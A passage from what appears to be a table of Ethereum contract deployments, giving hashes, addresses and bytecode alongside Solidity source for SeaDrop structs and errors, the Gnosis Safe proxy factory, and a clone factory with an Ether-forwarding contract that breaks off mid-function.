DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed();\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the received payment is incorrect.\n */\n error IncorrectPayment(uint256 got, uint256 want);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if signer's signature is invalid.\n */\n error InvalidSignature(address recoveredSigner);\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n * Note: only applies when adding a single payer, as duplicates in\n * enumeration can be removed with updatePayer.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed();\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the sender does not\n * match the INonFungibleSeaDropToken interface.\n */\n error OnlyINonFungibleSeaDropToken(address sender);\n\n /**\n * @dev Revert with an error if the sender of a token gated supplied\n * drop stage redeem is not the owner of the token.\n */\n error TokenGatedNotTokenOwner(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if the token id has already been used to\n * redeem a token gated drop stage.\n */\n error TokenGatedTokenIdAlreadyRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if an empty TokenGatedDropStage is provided\n * for an already-empty TokenGatedDropStage.\n */\n error TokenGatedDropStageNotPresent();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the zero address.\n */\n error TokenGatedDropAllowedNftTokenCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the drop token itself.\n */\n error TokenGatedDropAllowedNftTokenCannotBeDropToken();\n\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n \n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n \n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n * \n * @param nftContract The nft contract.\n * @param minter The mint recipient.\n * @param feeRecipient The fee recipient.\n * @param payer The address who payed for the tx.\n * @param quantityMinted The number of tokens minted.\n * @param unitMintPrice The amount paid for each token.\n * @param feeBps The fee out of 10_000 basis points collected.\n * @param dropStageIndex The drop stage index. Items minted\n * through mintPublic() have\n * dropStageIndex of 0.\n */\n event SeaDropMint(\n address indexed nftContract,\n address indexed minter,\n address indexed feeRecipient,\n address payer,\n uint256 quantityMinted,\n uint256 unitMintPrice,\n uint256 feeBps,\n uint256 dropStageIndex\n );\n\n /**\n * @dev An event with updated public drop data for an nft contract.\n */\n event PublicDropUpdated(\n address indexed nftContract,\n PublicDrop publicDrop\n );\n\n /**\n * @dev An event with updated token gated drop stage data\n * for an nft contract.\n */\n event TokenGatedDropStageUpdated(\n address indexed nftContract,\n address indexed allowedNftToken,\n TokenGatedDropStage dropStage\n );\n\n /**\n * @dev An event with updated allow list data for an nft contract.\n * \n * @param nftContract The nft contract.\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n address indexed nftContract,\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI for an nft contract.\n */\n event DropURIUpdated(address indexed nftContract, string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address for an nft\n * contract.\n */\n event CreatorPayoutAddressUpdated(\n address indexed nftContract,\n address indexed newPayoutAddress\n );\n\n /**\n * @dev An event with the updated allowed fee recipient for an nft\n * contract.\n */\n event AllowedFeeRecipientUpdated(\n address indexed nftContract,\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated validation parameters for server-side\n * signers.\n */\n event SignedMintValidationParamsUpdated(\n address indexed nftContract,\n address indexed signer,\n SignedMintValidationParams signedMintValidationParams\n ); \n\n /**\n * @dev An event with the updated payer for an nft contract.\n */\n event PayerUpdated(\n address indexed nftContract,\n address indexed payer,\n bool indexed allowed\n );\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param startTime The start time, ensure this is not zero.\n * @param endTIme The end time, ensure this is not zero.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 mintPrice; // 80/256 bits\n uint48 startTime; // 128/256 bits\n uint48 endTime; // 176/256 bits\n uint16 maxTotalMintableByWallet; // 224/256 bits\n uint16 feeBps; // 240/256 bits\n bool restrictFeeRecipients; // 248/256 bits\n}\n\n/**\n * @notice A struct defining token gated drop stage data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m \n * of native token, e.g.: ETH, MATIC)\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be \n * non-zero since the public mint emits\n * with index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct TokenGatedDropStage {\n uint80 mintPrice; // 80/256 bits\n uint16 maxTotalMintableByWallet; // 96/256 bits\n uint48 startTime; // 144/256 bits\n uint48 endTime; // 192/256 bits\n uint8 dropStageIndex; // non-zero. 200/256 bits\n uint32 maxTokenSupplyForStage; // 232/256 bits\n uint16 feeBps; // 248/256 bits\n bool restrictFeeRecipients; // 256/256 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n * \n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n * \n * @param mintPrice The mint price per token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 mintPrice; \n uint256 maxTotalMintableByWallet;\n uint256 startTime;\n uint256 endTime;\n uint256 dropStageIndex; // non-zero\n uint256 maxTokenSupplyForStage;\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @notice A struct defining token gated mint params.\n * \n * @param allowedNftToken The allowed nft token contract address.\n * @param allowedNftTokenIds The token ids to redeem.\n */\nstruct TokenGatedMintParams {\n address allowedNftToken;\n uint256[] allowedNftTokenIds;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n * \n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n\n/**\n * @notice A struct defining minimum and maximum parameters to validate for \n * signed mints, to minimize negative effects of a compromised signer.\n *\n * @param minMintPrice The minimum mint price allowed.\n * @param maxMaxTotalMintableByWallet The maximum total number of mints allowed\n * by a wallet.\n * @param minStartTime The minimum start time allowed.\n * @param maxEndTime The maximum end time allowed.\n * @param maxMaxTokenSupplyForStage The maximum token supply allowed.\n * @param minFeeBps The minimum fee allowed.\n * @param maxFeeBps The maximum fee allowed.\n */\nstruct SignedMintValidationParams {\n uint80 minMintPrice; // 80/256 bits\n uint24 maxMaxTotalMintableByWallet; // 104/256 bits\n uint40 minStartTime; // 144/256 bits\n uint40 maxEndTime; // 184/256 bits\n uint40 maxMaxTokenSupplyForStage; // 224/256 bits\n uint16 minFeeBps; // 240/256 bits\n uint16 maxFeeBps; // 256/256 bits\n}"
}
},
"settings": {
"remappings": [
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"ERC721A/=lib/ERC721A/contracts/",
"create2-helpers/=lib/create2-helpers/src/",
"create2-scripts/=lib/create2-helpers/script/",
"ds-test/=lib/ds-test/src/",
"erc4626-tests/=lib/operator-filter-registry/lib/openzeppelin-contracts/lib/erc4626-tests/",
"forge-std/=lib/forge-std/src/",
"murky/=lib/murky/src/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/",
"operator-filter-registry/=lib/operator-filter-registry/src/",
"seadrop/=src/",
"solmate/=lib/solmate/src/",
"utility-contracts/=lib/utility-contracts/src/"
],
"optimizer": {
"enabled": true,
"runs": 1000000
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}}
|
1 | 19,497,392 |
ff6234fe2be778e87d7bab49449a72d6fb0fd6a75c5513638c655ef98eb49906
|
a20267324edc17205e21d3b1dec5d62312bcdabfb44710ab1f225ceeb2fbac58
|
df5f4c11bee176a2ed1c0bd8bf28b09c7a1a2849
|
df5f4c11bee176a2ed1c0bd8bf28b09c7a1a2849
|
0f7663a89e6c876803fc10f3760eb6c0cbc3036a
|
60806040526000805461ffff1916905534801561001b57600080fd5b5060fb8061002a6000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80630c55699c146037578063b49004e914605b575b600080fd5b60005460449061ffff1681565b60405161ffff909116815260200160405180910390f35b60616063565b005b60008054600191908190607a90849061ffff166096565b92506101000a81548161ffff021916908361ffff160217905550565b61ffff81811683821601908082111560be57634e487b7160e01b600052601160045260246000fd5b509291505056fea2646970667358221220666c87ec501268817295a4ca1fc6e3859faf241f38dd688f145135970920009264736f6c63430008120033
|
6080604052348015600f57600080fd5b506004361060325760003560e01c80630c55699c146037578063b49004e914605b575b600080fd5b60005460449061ffff1681565b60405161ffff909116815260200160405180910390f35b60616063565b005b60008054600191908190607a90849061ffff166096565b92506101000a81548161ffff021916908361ffff160217905550565b61ffff81811683821601908082111560be57634e487b7160e01b600052601160045260246000fd5b509291505056fea2646970667358221220666c87ec501268817295a4ca1fc6e3859faf241f38dd688f145135970920009264736f6c63430008120033
| |
1 | 19,497,395 |
891e03621a75764271af883648b2e559b7ced0ba62e6ff12a77ecb787c387eaa
|
977e37d9b5c2049e610601bf9da5f7baab86fbc1e3aed332472d625a7d60b8dd
|
5f4399231c9abccd2a67d3f8c5d8f9492ed7bde6
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
2de7356579061da71ce2fa310e5f3828158fea41
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,398 |
7333093916985c2e83bb36f9f711311f7ab246b9ed6ae8f00e4a389131a3c186
|
4e09d7acf8d33ad032d771b4f198cf0248602e936ff3af2e3ebb7277d2d6d9e1
|
d2ffa17cca4b5b162ef61e818cd0b7d28f051463
|
172799fca760b87321ac77c5f4abc49021c486f6
|
8396b6146a0d2930c633090db635fc806dea1e9f
|
608060405234801561001057600080fd5b50610362806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032
| |
1 | 19,497,400 |
b11319c567b808813d6a8768c0d1930fc67777a0e4ead8195e0a92a066bb74db
|
67dee33d1af93e90f6183fd07ccb97ab07d4e596bc25b7577ce67c1b13382426
|
00bdb5699745f5b860228c8f939abf1b9ae374ed
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
4de48a3557027fbb29a67a4ac0c0f31bb34edf4f
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
